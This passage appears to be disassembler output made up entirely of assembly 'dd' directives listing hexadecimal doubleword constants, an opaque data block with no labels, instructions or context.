2EB5D2AEh, 7460C8E8h, 57C21820h dd 70479F6h, 85DA3A7Ah, 0EE03C942h, 48A6ACFCh, 3174F130h dd 7CB26Dh, 583053B4h, 461C042Bh, 0E9DAB01h, 7FFB17E0h dd 0D3372880h, 0ECF0EFE4h, 4D198AE8h, 82080CF4h, 0A1B66180h dd 3D5A17EFh, 0FD5BD900h, 7258A8E5h, 0BC24008Ah, 0D3A448E8h dd 0CA52E012h, 0C0D8E76Ch, 5A7E0EDh, 0E2907B03h, 0D1BBE85Eh dd 6880607Dh, 0F0DFE6F8h, 9E78B549h, 0FC73B9C0h, 5B88DCDh dd 0E13802FBh, 72C50009h, 0AB8846E9h, 2F294E60h, 39A9403h dd 7F2EE5CFh, 81964FCh, 0A20CBDBh, 0A0D5BF00h, 36CDE20Fh dd 4D7FA3E9h, 45B89163h, 0E3FA9C48h, 2CE0EA0Dh, 9CAC0CECh dd 0B3215B60h, 165EF92h, 0B9CB18B6h, 5060CE97h, 0FA5148D4h dd 0CFB75318h, 1912F68h, 3662FE8Eh, 0E70AD885h, 2AB022F8h dd 0CE37E200h, 0AE06B596h, 340200CDh, 918026EBh, 0EDE64D1Dh dd 0A72DAB00h, 0D2A13952h, 0D675005Ah, 9DB10F82h, 697BE172h dd 0F56E0807h, 1DF706Bh, 0CEA7A117h, 7B1CF0h, 9A156F4Bh dd 0E4326C56h, 71066A00h, 0F93CC962h, 37AD071Fh, 0D0CFDEE2h dd 0E1447BE8h, 2D03FA7Ch, 9570F94Bh, 11100E3h, 0E8A5D498h dd 4D12811Dh, 0A30CB560h, 0AE21BFh, 4999D2C3h, 6DD918A4h dd 0E8188760h, 3B4C90E6h, 5EBF756Eh, 4480848Ch, 9243C460h dd 0A1D4BC01h, 0C7BBDE8h, 228924h, 426FE7h, 0D606C858h dd 0EFAAB6DEh, 0F99EEC18h, 73E02D8h, 6F4A125Eh, 0D02A168Ch dd 75766DE2h, 17A68900h, 9922573h, 3015620Ch, 0EE002BE6h dd 1D4E91D5h, 4092B2FBh, 99825883h, 0A800AAA3h, 95759A47h dd 779274Ah, 32FD28F5h, 0AFE04FFAh, 4C2CE24Bh, 308E400h dd 52CC1FBAh, 0A771B1h, 4EFB24ACh, 0F443BFD6h, 39DBB500h dd 16D96DF6h, 971744DDh, 0ACE42900h, 79BF9577h, 4BF8392Ah dd 71817380h, 66BA7AEBh, 8E074490h, 213B35E9h, 9F07CAE0h dd 9C7478h, 0E2412A89h, 5FCDF005h, 4B008678h, 477FC1B1h dd 7F1674Fh, 94E26D91h, 0BF8C60C2h, 7938294Bh, 0B1BA803Dh dd 11851041h, 0C750026h, 7F43BD45h, 0C607E512h, 0B61D59F5h dd 48FBD430h, 111003Ch, 9CC139BFh, 528FF08h, 88C08ED0h dd 1B572B4Bh, 0A60750CCh, 1FC0C085h, 9DB61BFh, 10C0A47Ch dd 4C756326h, 683A038Dh, 0F503D2CBh, 0C70902D9h, 0BA01409Eh dd 39A54189h, 0B0E373C4h dd 3C90A1Fh, 33B6A493h, 0ECA087F8h, 0CC16D315h, 8C00C5FEh dd 1DB3E19Ah, 6004AD9Bh, 23F55443h, 0DC874246h, 0D50EC2C8h dd 60679300h, 0FD95440Bh, 1070DD3Fh, 6928E7C1h, 0F1CE3A1Ch dd 0F3958E0Fh, 0CA598307h, 809F20h, 0C50DFA97h, 4F0CF25Ah dd 981E62C2h, 5009D963h, 5B184296h, 69BB4CA6h, 0C87898E9h dd 0A11D7519h, 89A0411Ch, 3BF03490h, 50503418h, 0E98D6010h dd 516E209h, 400EBBC8h, 81CAC673h, 68C98568h, 0C228BC14h dd 8D4BD469h, 0C0908B4h, 86148FFAh, 65914432h, 379D20C2h dd 58508A40h, 39002155h, 0F3656F45h, 73348595h, 4970A97Eh dd 0E5AA0880h, 2D1DB55Ah, 0A1FC158Ah, 0BB677D04h, 2810CC06h dd 0C7BE9h, 85FCC6E4h, 91D11831h, 9FC1A502h, 8140B159h dd 6F4EEE20h, 1874F7C4h, 18569487h, 8F335101h, 15F33833h dd 0E0DF7851h, 0A7C2D40Ch, 0FA01E449h, 774D1187h, 1760D220h dd 0A6BB181Eh, 0F4B38F1h, 6031AF48h, 0F957D511h, 0CF5D01BEh dd 97094FC0h, 5668832Ch, 4CA986h, 3F2BF748h, 3E92B832h dd 0CD629F07h, 0FC47A3C8h, 0AD536940h, 0CEAE183Ch, 0EB19A04Ch dd 0A0C0E090h, 0CB48C80Fh, 6049E833h, 0C24A08CFh, 8CAB9779h dd 51CB4837h, 81A5E0EFh, 0C6CCCDh, 2FF4A7DFh, 0AEE7D618h dd 30411D07h, 0CC8079A9h, 559B3Ah, 0AFFD8477h, 0FCD143C3h dd 6C010499h, 56B3BABBh, 0DFE18C40h, 0E8BD60FEh, 0B2055E36h dd 5FE81D06h, 0C89B059h, 0EA4804ADh, 0B8304568h, 227018ACh dd 59521326h, 0C71C47C9h, 0DE747262h, 0CAA3C0A0h, 3A00F1C6h dd 0AAC434C0h, 94E4D42h, 8C8E47AEh, 745483FDh, 0E13166FEh dd 0CAE608CEh, 0C498B801h, 0F4C7AAF2h, 11C023E1h, 97FF01CFh dd 0CB8778F1h, 4C218AC2h, 0D406B069h, 50A1AE18h, 40CA8F6h dd 79C52EC8h, 7024D756h, 0F357C0E9h, 8D8A4A00h, 7A589BFCh dd 2CA84987h, 9EA8192Bh, 0B0EA031Ah, 0FDC0F032h, 714D8AC4h dd 1C781114h, 60F13A07h, 58B88ABBh, 0B242FFEBh, 0D3F8BC22h dd 0E81E6F01h, 0E69F334Ah, 3DBEF830h, 3901882Dh, 7685F855h dd 1C7B703Ch, 38D2921Dh, 0CE5678F0h, 8C91003Dh, 0DF5F47B0h dd 8B004AECh, 0E73E0157h, 3C9B5607h, 193F7020h, 0D822EE98h dd 4B009DB7h, 818A7A59h, 3CD40FC8h, 50494E3Ch, 98096C22h dd 259FCFFDh, 0B81F95ACh, 0C4455F53h, 0B84CCD4Ch, 3D7531C9h dd 0F2D8572Eh, 0A0DC4524h, 3A747ED8h, 3A1494C3h, 7FA18CD0h dd 4F5700FDh, 20BE40DDh, 5E060C99h, 1830F27Dh, 0E8AF4FD4h dd 4449DD74h, 0C1CFC430h, 2C00DC95h, 547544B0h, 4A4CA11Dh dd 566D8700h, 9A8060A1h, 5E91D3F1h, 56610280h, 14601816h dd 6806C2ACh, 0D12EA3DDh, 489140h, 0A8749E9Ah, 78285880h dd 4B31480Dh, 569228CEh, 0D374E610h, 129C2752h, 880FF2FDh dd 958156Bh, 134C6B9h, 2437EBBDh, 585D4850h, 523C00BEh dd 0DDABF7DFh, 0B118B33Fh, 5C8063E6h, 3C1432CAh, 2C406BB0h dd 0C024FC5Bh, 42008C8Bh, 49DF9ED8h, 78856211h, 4B00CB36h dd 2A932AC4h, 1280D151h, 86C769Fh, 606202E0h, 70B086F0h dd 0C734A0B1h, 0D96A3048h, 0EB3B9339h, 0AD97DC18h, 2C6098h dd 7856FAE9h, 0B6DA7FCFh, 0BAD0E162h, 5A8CA3AAh, 1884FF9Eh dd 0F0DD6E21h, 102ACFF7h, 314CA80Ah, 65CC0B04h, 4298A05Ch dd 67AF964Ah, 46DC9043h, 4D7B78D3h, 297FC81Fh, 0C103758Dh dd 0E099C843h, 3C4EA7E0h, 8E09FD77h, 697E79CBh, 0AD9B3602h dd 0F68C82F3h, 0F49880C8h, 2062C6Dh, 997A16E3h, 4CC89FD6h dd 8E188670h, 1190F255h, 2110B9CEh, 4B507F04h, 96E82E0Eh dd 420137Ch, 4607FA64h, 4C2946B9h, 600AC56h, 0F6F3CC86h dd 48004364h, 0E5817C4Ch, 17E67B2h, 79925BD8h, 2C8D2C62h dd 0AED23C44h, 0CF404476h, 5EAF40h, 699A1BFh, 88E58EABh dd 0F674FC00h, 4DCCBC6Eh, 685FC5Fh, 5C39C1BAh, 100A958h dd 2AF8F335h, 5595D7h, 4DB54E5Dh, 1B6BDD3Eh, 1EF7D105h dd 7000FCD6h, 0E30FC2D5h, 20C10656h, 8F9706Bh, 8E21AC63h dd 0A0C680C8h, 7EEE3F05h, 58D76280h, 0D9922288h, 84800494h dd 0E6A2C2D4h, 754016ACh, 2154407Fh, 3466DCFBh, 9D27C300h dd 0D2DB65CBh, 0BDBE0159h, 449EB877h, 4C7DED1Dh, 0B2E44AA4h dd 0F3974307h, 0B19C5DC3h, 8746078Ch, 0B0A2886Fh, 319220F1h dd 7DEBE101h, 35E5DBEDh, 983842F8h, 5FD30964h, 50A73A72h dd 495976ABh, 5DA9E3Fh, 0B170521Ch, 4DA728C8h, 4B7E7CCBh dd 734C404Eh, 2C939239h, 50A44C39h, 47F4C00Ch, 5C317428h dd 9B76201h, 379598C7h, 0CF975CC0h, 93A0C351h, 3045A63Fh dd 785498B0h, 0AA787390h, 0C8FA0551h, 0F600B6F2h, 2B4974CAh dd 18528A0Ch, 88B58032h, 616075D3h, 30CB2239h, 7030040h dd 0F0D69E11h, 630070C3h, 7B819D66h, 0CEC05D6Bh, 91AFF981h dd 4538DFA3h, 0D7E78AC0h, 0B892090Fh, 80CBA96Dh, 8BECEBC5h dd 4C9315BDh, 6F00ECCFh, 95B72061h, 0E50A3631h, 0B007CCC8h dd 4F06380h, 0E822CDh, 462487FAh, 5F3F20D9h, 2CF4A05Ch dd 5942645Dh, 0C0B49107h, 0D51904E3h, 809F9257h, 0B8DC48ACh dd 0AE111306h, 0E96272h, 1BFB8331h, 0E233DBCEh, 7EEB1C00h dd 0BB8F5144h, 0DFCF0242h, 15A488C6h, 7410B841h, 4100F5D8h dd 0AD20FAE3h, 24787BD0h, 6484445Bh, 0F458989Ch, 20337827h dd 17950AD4h, 0EED100EBh, 5BE1AA4Eh, 5716AD90h, 7825FAA4h dd 224C1Fh, 24FD3784h, 46F6729Fh, 0E6005978h, 1AA48BADh dd 3AFFD634h, 2B0BBE5Bh, 5C8745B1h, 1C9C4931h, 0F0897300h dd 0EA362708h, 199FA04Eh, 88D65C6Bh, 2C68D080h, 4C90D4F4h dd 0E84BED00h, 596307FCh, 54C6EA40h, 5475FCAFh, 0B77A47Eh dd 0DC86D931h, 0D8BA8180h, 0A712F937h, 70466D8Bh, 614FD3h dd 98F172Eh, 0EC04F12Bh, 78EDD500h, 69DD646Bh, 51CE7AC0h dd 25E8AEF4h, 5C947CE5h, 0B689ECF2h, 38196CE8h, 65BE6B01h dd 0EB5C0A4Ch, 0D31E3887h, 78E5F692h, 245058DBh, 400C5D08h dd 0D44B3AC6h, 2DCB6800h, 0C4BB194Dh, 419201A7h, 405FCCC3h dd 5DF0206Dh, 263A1D44h, 413C7F74h, 0FC2DDBFDh, 0F100E693h dd 0ECC59428h, 0D0410EFh, 0F746D16Ah, 0BED84278h, 77451A21h dd 327A418Bh, 0CD3A0010h, 26004190h, 0ACB6E827h, 79918D8h dd 66968FABh, 97402024h, 3F0EDB0h, 18F06D3Eh, 432081D5h dd 6166013Dh, 18FD79E8h, 86398003h, 39F0F28Ah, 109A60F1h dd 0C587EAF5h, 5B41D600h, 8C372057h, 25DB3D22h, 0D79E5080h dd 0B2BC1EF0h, 964EDD03h, 803B94h, 48D2351h, 76642BFh dd 0ACB4900Ah, 347541Fh, 68AA82D9h, 6454A6F0h, 3C460021h dd 7D622666h, 1F7F019Ah, 0EA949B00h, 0C89341CDh, 0C38F28BFh dd 39D94680h, 0A9093A01h, 0CF152C58h, 3A880080h, 61DF3F66h dd 83B47BBAh, 0F2145AC0h, 0D9156700h, 0B6D77E41h, 0AA84A198h dd 7806C5C8h, 5288008Dh, 0A0F4127Fh, 5B0F825Ah, 8020088Bh dd 552B297Bh, 25A9039Ah, 0ABB49590h, 9EF4100h, 271A8BDCh dd 88A618FCh, 92FB08ECh, 431220C0h, 30BA8ADDh, 0F0909DD4h dd 376F3A81h, 21B60341h, 6035CAE7h, 3A13A671h, 0B230C85Ch dd 0E797D121h, 0BD8A3300h, 0F4A6146h, 87E01E9h, 0E3BB2C21h dd 101DF491h, 23FBA202h, 0A0F2961Bh, 1A0A8AF4h, 0C048DE7Fh dd 0DDA5CB31h, 28152692h, 0AC6015h, 5256F94Ah, 1D735DB4h dd 80D31DA5h, 2AF6665Eh dd 6535481Bh, 504A5094h, 6BCB81Eh, 111973F1h, 68A10061h dd 0E6CEE24Dh, 9A0054EDh, 2A6A6095h, 15CC7856h, 8CE72811h dd 0D713337Eh, 91FB1B49h, 0DF005073h, 9A2F5502h, 379DF3h dd 0E998D0D1h, 0F73DF2F5h, 35974506h, 490953h, 0FE95D042h dd 0A0DC3A5Bh, 9C91A52Ah, 0B5002378h, 61314E60h, 1E3B2D2Bh dd 9B0B0D84h, 8809D170h, 8DA769h, 0E3E2190h, 302478A9h dd 4049AB39h, 0E24C531Fh, 92A804FCh, 0AC8884ECh, 0B0F8072Dh dd 0A00CF36Dh, 0A832279Dh, 9ACD38C1h, 1A213581h, 78F6C20h dd 1025C891h, 984F102Dh, 0C31837ACh, 0CD589E1Fh, 139D1953h dd 0F03DD805h, 7530ECABh, 99CD39DDh, 113A00DFh, 0A3D8317h dd 49C42EBCh, 5088E10Dh, 0C1170AD5h, 47182458h, 0CDCC204Fh dd 891A8016h, 60C0AC62h, 2D3DCAh, 0F5738544h, 0F7016A29h dd 4A9D371Ch, 17F059C0h, 0CE96C5h, 0B1919005h, 9EC2FD95h dd 2ED55100h, 37BA39ACh, 0A298E32Bh, 9705B9A9h, 6568E88h dd 0EFC74C5Bh, 86017984h, 2B5197B5h, 0E45308A0h, 0C02ACB28h dd 129A6CC5h, 401BB0ABh, 405D4DE0h, 18006613h, 3076FA9Ch dd 1DF5E9Ah, 10C76594h, 0DC5A4E84h, 196053E2h, 0BD422AF0h dd 0B8714A96h, 0EA80349h, 0F2354Ch, 0AF29C5C8h, 0C3A9C73Eh dd 0AB827C12h, 0C08FEC08h, 1001DC07h, 60FE7721h, 29DD41D4h dd 692FC509h, 18848A6Fh, 55B9C1ADh, 9357E9D3h, 0E2358443h dd 20FCE25Ch, 6F24CA80h, 3A56702Ch, 0E69D6355h, 40771254h dd 6FD66884h, 11C0B45Bh, 625C0FAAh, 0C57D0FE8h, 39003753h dd 3DF7D798h, 0EB6085EAh, 829A0168h, 7B89C183h, 0F017B019h dd 9F090AA9h, 0A4D2AC52h, 3540E2D8h, 0A859D22h, 0E6EE5D00h dd 0BDFC3D6Ah, 437E858h, 0C5AF606h, 0B69CC157h, 0C02D6022h dd 59763B98h, 4CE5E203h, 0C0DEAA07h, 992260h, 7F1D1EB5h dd 0AB7D689Fh, 0AC00FAEAh, 8E76F724h, 166C6A5Eh, 0D220CEh dd 2ED794F6h, 200D89Ah, 8232C799h, 58F7F8h, 2D078823h dd 631A0D78h, 4CAC600h, 4C4D9192h, 0D4980077h, 0A48CD637h dd 7F07713Ah, 0AC76280h, 65222990h, 0F02B581Bh, 0B680F938h dd 0BA106E4h, 0ED00AEA7h, 0D4BFB334h, 2D5717h, 0C92ECDB8h dd 45F02892h, 0AF6E8600h, 0E12FA41Dh, 2BA30F40h, 88E06FD3h dd 0B003AD21h, 3578061Fh, 0C9707200h, 0A938B8h, 0B3C4F71Dh dd 0E2B15F77h, 0E1588C75h, 0C2691802h, 1E7390h, 0CEA8D250h dd 0AFCFF83Bh, 0B1FE03F6h, 0EB106100h, 9B76E34Ah, 3B7B00E6h dd 8CABE260h, 80018A57h, 1F83EE0Bh, 998F662h, 8937213Eh dd 0D3A78000h, 94047C54h, 0B63A675Eh, 0FEB300CAh, 0A600F2F6h dd 57DDCDBAh, 0E0FA4379h, 1E10181h, 0BFB01176h, 0B109C73h dd 628EA040h, 3444D3AFh, 8A229h, 9EA3EB68h, 2800303Ch dd 6E6E9A4h, 66BDCDBCh, 28AE5870h, 0B12F59C4h, 88A00D30h dd 1CBD6251h, 0A500ED2Ch, 54BB59Eh, 6D2B6Bh, 0B0433D40h dd 813278B2h, 0AB487760h, 0A5216Ch, 64EA1F4Bh, 65420CD2h dd 7860C0E8h, 0A5FFB320h, 2E2D09A1h, 3A02DC8Dh, 1140F2C6h dd 73099875h, 8804437Ch, 2405026h, 0A2628FA0h, 405024A4h dd 40C0375Ch, 9EEE0F61h, 6FC1FE01h, 82188143h, 778078BFh dd 0C1BE93Bh, 4600FD09h, 380F7140h, 7BA1BCh, 19ED1C59h dd 684AB6Ch, 7FA53Ch, 11E9C229h, 1FD7FBh, 68FC9065h, 0BC7DFE50h dd 9E91F500h, 0ED4C30A0h, 0A64200FDh, 0A2E87A34h, 94008EFFh dd 0BF8A10A1h, 0F288C338h, 7B190050h, 0DF1835C2h, 0AD39974Ch dd 58CA09CDh, 8450084h, 0F1ED50h, 0F778930h, 0EF5DB957h dd 5388D100h, 0E351078Bh, 0CA2B006Ch, 1E4DFB56h, 13004226h dd 29507681h, 3C7C43F8h, 6B8CB15Bh, 0D7787854h, 660E1A00h dd 68030424h, 2F741E7Ah, 76FC0080h, 188D751h, 0FF26D500h dd 0C4546C9Dh, 7B050065h, 3E0D158Eh, 0EB03B982h, 227A7935h dd 49D10EC6h, 0F89F6DD6h, 87818980h, 0E0412D78h, 2902AF07h dd 544023D7h, 4C7234h, 19668F03h, 7AFC57DEh, 471F2D01h dd 27A86B84h, 18D15BD0h, 90450E85h, 7D3CC78Eh, 29438738h dd 461022B9h, 7C7AC8FEh, 0A6781C4Ch, 5083BB62h, 5B794548h dd 13A144EBh, 90208043h, 0A20CA171h, 82E00BF8h, 7980B3AAh dd 0D6864306h, 931A1B67h, 2F773D31h, 1C214DCCh, 41C2D449h dd 4498EEB4h, 6D384051h, 9D03E3E7h, 0D63213CBh, 0E2639839h dd 4BA1006Ch, 0F443D7A9h, 7100975Bh, 0AAC022E9h, 67963h dd 0EF95E696h, 4CCF45B8h, 30CB9B30h, 17A9140h, 787F24DFh dd 0D045C576h, 2B1495AAh, 0E020BEE8h, 86D64308h, 0B1B7103Ch dd 81CBF807h, 9C0DB180h, 6A5CDB01h, 661FD800h, 4948D7DEh dd 989405F0h, 3BE95445h, 3DCF23ACh, 121BE80h, 0D74087C4h dd 0B16CFB2Ch, 8CBEAC1Dh, 51953C44h, 0AF57BC9h, 39696CE5h dd 0E4658694h, 860121C4h, 5BEBC8A8h, 27D47B5Ch, 0F8210DBAh dd 8051CD6Ch, 0BE113D30h, 0F138783Bh, 695891DAh, 46507DC8h dd 0CA2260h, 0EDA1743Dh, 6295B373h, 0D6740090h, 61448F14h dd 180078B0h, 0B86DBA7Ah, 1D109FEEh, 0C9AA6B0h, 0FF20651Dh dd 0F9BD1700h, 1A4D0408h, 5F8400D1h, 7249208Ch, 7B019BBEh dd 0BC421067h, 80DFE53Bh, 1A63EEBh, 838F6349h, 8046308Eh dd 3B390690h, 0DEA7EE12h, 21A30FD0h, 139392A1h, 20306044h dd 0B4614774h, 25FF6121h, 752B23C8h, 72213886h, 2793A783h dd 7AC0B415h, 62397E92h, 6C9129D7h, 63BD8400h, 869C5EB8h dd 7781E20h, 36BD99FDh, 0DA3106Ah, 581C7437h, 0ED06EBDEh dd 29399Fh, 704EC9B3h, 9D3082AFh, 2887B600h, 0B9D13B1Dh dd 10A9C3BBh, 300E61E4h, 60FF7B38h, 0C5D88CF3h, 11C13E65h dd 0BDFBA800h, 84D497A6h, 0C8D6889Fh, 70608D44h, 0B8106FBAh dd 51CC9B7Eh, 0E8002191h, 5046CFBDh, 15B713ACh, 0B05B6779h dd 0E1D74300h, 4EE0E5DCh, 0A2B8D553h, 0F07A31B7h, 0B300540Eh dd 8C3ACF99h, 49514579h, 0B4003C7Bh, 3B80749Fh, 0B9C0605Bh dd 88E95512h, 9671388Ah, 0C0493580h, 0D683F0BDh, 8587801Dh dd 0A9323A0Ch, 490702E9h, 39D765FEh, 0F3139C80h, 200C9ABh dd 29EBEE96h, 3F5A707Ch, 300219C0h, 0D6469A84h, 6788F497h dd 47E46079h, 541298C7h, 58094E5Fh, 388820B9h, 0A8BA44D1h dd 0FB59C80h, 39B2D39Bh, 0CAF0707Fh, 3F0E9F35h, 1174DBEAh dd 92581E7Ch, 942980E1h, 3FE06470h, 46650713h, 8DA54840h dd 69CDE1h, 0F6C59435h, 0DCFF9F5Ch, 2F248890h, 7760E4CBh dd 0FA4387A1h, 0A8608647h, 0A3D23F21h, 3CAB00D9h, 69DFBB04h dd 0F5B03BB9h, 0EA83A55h, 7855848Ch, 0CB242C30h, 3B69C960h dd 0C51D9Dh, 4B326316h, 935EAE67h, 0D581F413h, 0B41900FAh dd 45105073h, 12A38512h, 0D079440h, 0C6C414h, 46754C17h dd 60482665h, 59B048h, 68452996h, 1F4763h, 9A312B82h, 74B2C3E3h dd 0EE09D8ECh, 81E12C19h, 3004FAD6h, 5B4F5884h, 921090D3h dd 0CD7251B0h, 91DD9700h, 9FADAEE3h, 1631004Ah, 0F56699B7h dd 43007760h, 0C8E2D34Ch, 4CE467C4h, 23CAA0ECh, 2C63C7BCh dd 4600D0D0h, 0FE94B279h, 5D3E59h, 65725802h, 0AE6C9A9Ch dd 870013E4h, 5004F780h, 59DBCBh, 0D1CF5D2Fh, 0A003A8E5h dd 6DE4CE7Eh, 31567E00h, 6BB3B1ADh, 80E2FF42h, 54642218h dd 3E821D7Dh, 868AC775h, 21D8B673h, 1CC000A2h, 93FE6F5h dd 1844B02Dh, 1B9AA02h, 0EE2860E8h, 0DC2910D7h, 3207E056h dd 4787D308h, 0CD8285Ch, 41CB333Fh, 42296C38h, 7B03407Fh dd 44827054h, 88D64078h, 5400F042h, 34C1B3D9h, 0C0CC5CFh dd 0B7D23B21h, 0E1745889h, 93AB120Ch, 58F105Eh, 0EA789B86h dd 0A4A0108Ah, 6F806688h, 813599EEh, 0A8832C67h, 93E20C1Ah dd 0ECE8CAB1h, 1D81386Fh, 6BF37D40h, 0E340D09h, 11D6C0DFh dd 0E08D84h, 0D2F3A687h, 14E80356h, 946677D4h, 482F6800h dd 0A3DC90CBh, 9DB10A06h, 940FE7h, 5EB56C6Fh, 2D394931h dd 145F0ADFh, 8608402Eh, 0F37B603Ah, 0D3A10961h, 154043DEh dd 0A4853100h, 1D80DBF3h, 614D00CEh, 0ABCFAE08h, 830315BAh dd 12F1192h, 6510443h, 8B6AEB12h, 4527C404h, 9E31230h dd 0DC0ADF00h, 38E42392h, 7A84A8B3h, 0C7902A1h, 5A29C004h dd 25BB9F60h, 0A9B55B00h, 9F6F5D93h, 28730095h, 0ED26977Bh dd 0A4011C4Ah, 7D5CC86Eh, 0EC4032E9h, 124CC519h, 22D089h dd 0B3CEACCBh, 137D6670h, 0F530AF1Fh, 6C19D9C3h, 29959090h dd 0C96D00A7h, 0C752E51Ah, 0F2007E79h, 7FB8CA25h, 36A983Eh dd 0C9FDA514h, 5E88F50Eh, 52F89F94h, 49D30507h, 0FDA03162h dd 70D62B0Bh, 1EBDE4B2h, 0C011520Ah, 0DC1DE4BBh, 9F60F15Dh dd 0DDD7C480h, 8C0E0738h, 30ED544Fh, 65950709h, 66FE442Ch dd 6707DE26h, 1E10E262h, 0EC6648h, 0C2E861B9h, 1ACACE0Dh dd 0B5F8BF03h, 0A0EE6B28h, 0E975A66h, 43093D52h, 0F93C1920h dd 82062DA6h, 48503707h, 0E5930781h, 7005915Ch, 0E390781Ah dd 619CB500h, 7E7CEC10h, 9A10055h, 781D9535h, 64057688h dd 0E73B0D4Ch, 7D79A000h, 30179098h, 0D58078D1h, 8700DAC0h dd 0B2022220h, 18444842h, 0C0EF1517h, 5F62A50h, 0BFEEAE00h dd 0A69DB7D6h, 583A03E9h, 8138C97Eh, 2645F0A0h, 9A173Eh dd 77E8CE89h, 11759771h, 924F6h, 0EF904169h, 3D8C3F2h dd 0D4A1D18Ch, 0C888CDFAh, 0CC00BE79h, 1D8AF9E7h, 0D1E215h dd 85C7A151h, 73F58DB2h, 43015A72h, 23B30589h, 0C2E46009h dd 2AE70BCDh, 91003BAAh, 7614801Bh, 0A8217100h, 0B66605C3h dd 1F8F04Ah, 8026C7FBh, 2023B172h, 4D7842F0h, 68015401h dd 66081CAAh, 37611DCh, 0C22BCFE2h, 0C10F423Fh, 0A055C5C7h dd 794D1729h, 0F09C086Bh, 0D900A8A3h, 940275BAh, 0BCB400D0h dd 36B1D462h, 9C007B4Bh, 93661330h, 49DB4Ch, 6E185EFCh dd 42D1C089h, 771A0600h, 1427A4F1h, 7A7FBDh, 3E75AAE4h dd 0ED6DDF40h, 0CEEEF00h, 0D05CA5A1h, 0B7B80F4Ah, 0D8233C74h dd 79C86D7Dh, 2106056Eh, 308C560h, 5BB30040h, 0D32942F4h dd 1F00B868h, 0FD98585Dh, 31FCA6h, 0CCCE9D2Eh, 9BA35A54h dd 3CFA7705h, 0A0148F99h, 0D2A90060h, 0F4B99C80h, 0CD75135Bh dd 672040D7h, 46616928h, 169E4E00h, 14DF6E9Dh, 0C60600C7h dd 8AD8F6C9h, 926FF80h, 0B280D497h, 96117369h, 0B054792Fh dd 2493009Ah, 0BECC9213h, 100C895h, 0C5364057h, 74D79F58h dd 0BD831FFFh, 0BEC8111h, 0BB94BE88h, 0F6BC2750h, 543E00BAh dd 2B4BB4A5h, 2341010Eh, 26C5AE79h, 220F1B3h, 7E394E5Dh dd 209C8A83h, 0C219F23h, 2DB96AABh, 0FFBD1C07h, 0E1302165h dd 4DDF08F0h, 0D80484B0h, 0C8D5CB09h, 4A658E0h, 0D43ECC90h dd 96C70001h, 0C03C2AA0h, 0DBA21F69h, 0F4A3805Dh, 0C1ABFFD4h dd 58F2A809h, 2CAC060Ah, 8D4228h, 1229C3Fh, 403DADABh dd 0A562D0F3h, 22A03151h, 9232014h, 7C290830h, 15082E74h dd 0F5A000A3h, 1FB6F037h, 23B2BA0Eh, 0CF7D004Ah, 0FA397696h dd 0CBE00030h, 820EC58Bh, 21171AA3h, 8C00E853h, 1B6BFCA8h dd 0ACE4004Ch, 9FA1C397h, 2200884Fh, 3CB919B8h, 32FAA4h dd 24F19365h, 0D51773BAh, 7F38B300h, 0C5539C3Ah, 0A4D60043h dd 8C29E99Dh, 0EC38A2C8h, 0FE6906AEh, 1F067E5Ah, 0C00725BDh dd 181132E7h, 6B023C46h, 28292B78h, 66B48003h, 3B86BEh dd 4F11FD96h, 6E987681h, 80D10D3Ah, 0B4CE0C24h, 7D8F741h dd 4B8F2B8Bh, 3801A9FBh, 0DC519358h, 4300078Ch, 81D683E0h dd 8F3ECBh, 0F91B2491h, 63B6A567h, 439AD4FFh, 0ED000377h dd 0FC315B18h, 0E3F4804h, 5C37AA1Fh, 0E6CFC320h, 0F7B8E3Dh dd 94DDFA00h, 897A22A0h, 733400B4h, 15069F3Ah, 80F947C6h dd 0EC4DEF38h, 99728Eh, 0F02ABD1Ah, 0E1FE248Bh, 0A1C81E0Fh dd 210EE063h, 743A70h, 5D871A3Eh, 0E32A128Bh, 59DB9B32h dd 3B4BC072h, 0AE67CFFh, 0E75C3635h, 0C0E09EB0h, 4BFA64C6h dd 823F13EDh, 0C22D2C75h, 54173D2Ch, 40BB9F00h, 4D9130h dd 418589B3h, 0E772F9FBh, 0D49B2F00h, 0CC986870h, 0A63D006Bh dd 0A226F036h, 871EE342h, 7FC032D6h, 34DF9E7Dh, 38790055h dd 0F6B7565Fh, 9100648Dh, 0F3DAF19h, 0FD4537h, 806AD46Bh dd 7E60ED38h, 75465D00h, 0C94DB8FBh, 9E2E13B2h, 71680F93h dd 0CFAB6AC0h, 86FAC41Fh, 5749090Bh, 0AA566Bh, 0F932F32Bh dd 7F00CA15h, 9A97A213h, 77546567h, 6B900DCh, 0D83ED629h dd 0B27F4259h, 53853F01h, 6BAF2E7Bh, 0E4ECF4h, 474B64ABh dd 2040F201h, 87D8A604h, 6A801F4Dh, 58B48Fh, 833EAD3Bh dd 0F97A4847h, 15E60800h, 0D7BF8BD4h, 0E91107D2h, 8050C591h dd 0FCD85755h, 9EEC600Eh, 74BB204Ch, 0CFD5Ch, 51E02347h dd 18954F64h, 88FCD100h, 34399A09h, 48A9E4AEh, 470160BCh dd 24E18A63h, 291801F2h, 0F9CF3410h, 72BF3B00h, 17977A38h dd 3935B853h, 641FC0D3h, 8E41DCA9h, 7AC09EE9h, 3AEF83A4h dd 3C0938E6h, 27FD9B95h, 770DE34h, 3B576582h, 1C3A8391h dd 0D7B99900h, 0F5E9E2E4h, 623CCB00h, 73CD38A9h, 8B77E7h dd 8630D42Bh, 3C419DE3h, 0B6DA400Bh, 59FA00D7h, 0F185F3Fh dd 8351074Eh, 0A214B01h, 1F4180F3h, 6F32EE55h, 0D0E90430h dd 0C0AC0D57h, 23B96860h, 71160E00h, 2588D2E6h, 0C39C0747h dd 64A1630Ah, 54BCC0D9h, 71000EC6h, 135B5E69h, 820FBEh dd 0ADEB79FDh, 709AB56Eh, 28513E00h, 5AD4EE72h, 1C361D1Ah dd 0A93F4FC1h, 6FFEA320h, 0B10E6418h, 0E3E799D5h, 0D1D00BBEh dd 2607DC2h, 5DB70021h, 2B1F9324h, 0A100B87Bh, 0C106F1E9h dd 1303AF6h, 340E579h, 40AE526Dh, 4B5BF3F8h, 0A2043500h dd 7ED55E6Ch, 10F600C5h, 6EBE8BBAh, 62013247h, 2EA34418h dd 0D440ACB0h, 2AAFA85h, 8329631Eh, 0B8E09496h, 0FB008876h dd 93A695DBh, 1D79E8A2h, 19FDD3h, 46428BE0h, 0C103BCF8h dd 0E5EB7E2Eh, 2C04B0DBh, 1AE7C2Dh, 0FB6E61C8h, 205196D6h dd 0F800A888h, 46B51EC1h, 0F798F21Ch, 0E1EBA340h, 144F00BCh dd 2F043A27h, 5501FD6Eh, 2DB91646h, 1DF4F18Fh, 0A16F0086h dd 6430EB69h, 3C30EAECh, 7A7C1945h, 59A86033h, 52C940C2h dd 0A611CC60h, 7275C22h, 